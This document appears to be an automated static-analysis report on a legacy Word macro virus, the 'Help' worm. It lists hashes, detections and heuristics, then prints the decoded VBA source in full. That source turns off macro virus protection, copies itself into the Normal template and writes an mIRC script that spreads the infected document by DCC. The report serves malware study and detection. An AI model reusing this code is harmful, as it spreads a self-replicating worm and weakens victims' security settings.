Win.Trojan.Psyjan — Office (OLE) malware analysis

Static analysis result for SHA-256 de6e71e3f3e79b19…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-05-23 16:24:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 2c0fe5ede3748f33e32c16f65bb444c5 SHA-1: 077655094abc4d4f313e7d2fbdbf28d4d5db4daa SHA-256: de6e71e3f3e79b192a0747324c6a51d88ac6e24f56b6f99acee7917bcb1da015
256 Risk Score

Malware Insights

Win.Trojan.Psyjan · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This legacy Word macro-based malware, identified as Win.Trojan.Psycho-3 by ClamAV, uses AutoOpen and AutoClose macros to infect other documents and the Normal template. It attempts to download and execute a second-stage payload by saving a file to 'c:\mirc\download\IRC-Rules.doc' and potentially executing 'c:\mirc\mirc32.exe'. The macro also attempts to disable Word's macro security settings.

Heuristics 6

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2781 bytes
SHA-256: 406a2cd3133ab7b1216bfdbe606c8d7756a8975abf1efd28712e2fea6f07cf3a
Detection
ClamAV: Doc.Trojan.Fool-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Help"

Sub AutoOpen()
    'Help Virus/Worm v1.10
    'The WaLRuS 05/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
    Set Norm = NormalTemplate.VBProject.VBComponents: Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Help").Name <> "Help" Then
    Doc("Help").Export "c:\Help.drv"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("Help").Name <> "Help" Then
    Norm("Help").Export "c:\Help.drv"
    Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Help.drv")
Kill ("c:\Help.drv")
ActiveDocument.Save
CommandBars("Help").Controls("About Microsoft Word").Caption = "Help It's The WaLRuS"
If (Second(Now()) > 55) Then Call Help
End Sub

Sub AutoClose()
    On Error Resume Next
    If (Second(Now()) > 50) Then
    installed = Dir("c:\mirc\mirc32.exe")
    If installed = "" Then
    Exit Sub
    Else
    reproduce = Dir("c:\mirc\download\IRC-Rules.doc")
    If reproduce = "" Then ActiveDocument.SaveAs "c:\mirc\download\IRC-Rules.doc"
    Kill "c:\mirc\script.ini"
    Open "c:\mirc\script.ini" For Output As #1
    Print #1, "[script]"
    Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\IRC-Rules.doc }"
    Print #1, "n1=on 1:CONNECT: {"
    Print #1, "n2=  /join #virus "
    Print #1, "n3=  /msg #virus Help me if you can im feeling down. Im infected with the Help Virus by The WaLRuS"
    Print #1, "n4= /part #virus"
    Print #1, "n5= /clear"
    Print #1, "n6= /motd"
    Print #1, "n7= }"
    Close #1
    End If
    End If
End Sub

Sub HelpAbout()
    On Error Resume Next
    MsgBox "Help by The WaLRuS", 0, "Help I Need Somebody"
End Sub

Sub Help()
    On Error Resume Next
    Assistant.Visible = True
    With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Text = "I do appreciate you being around"
    .Heading = "GREETINGS"
    .Show
    End With
End Sub

Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub

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